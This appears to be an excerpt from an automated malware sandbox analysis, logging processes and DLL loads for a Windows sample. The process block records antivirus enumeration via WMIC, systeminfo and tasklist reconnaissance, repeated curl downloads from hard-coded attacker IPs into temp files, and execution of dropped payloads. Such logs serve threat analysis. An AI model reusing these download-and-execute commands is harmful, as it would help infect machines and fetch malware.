Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jrdip" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dxjyu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dhmio" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fprwf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\nhrsa" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\rrmou" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fofqx" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\zxfdn" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gvhdi" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\agadw" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\mncym" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /C:"OS Name"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\lyvbm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dxmcp" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\oqsxp" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\hzizi" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\qfmnd" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fbswm" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\nefne" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\zxjrd" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fntgj" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jyffr" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\wbqtj" "178.215.224.74/v10/ukyh.php?jspo=6"

Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\vqMMwqCFZQ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\139918\Ur.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Section loaded: version.dll
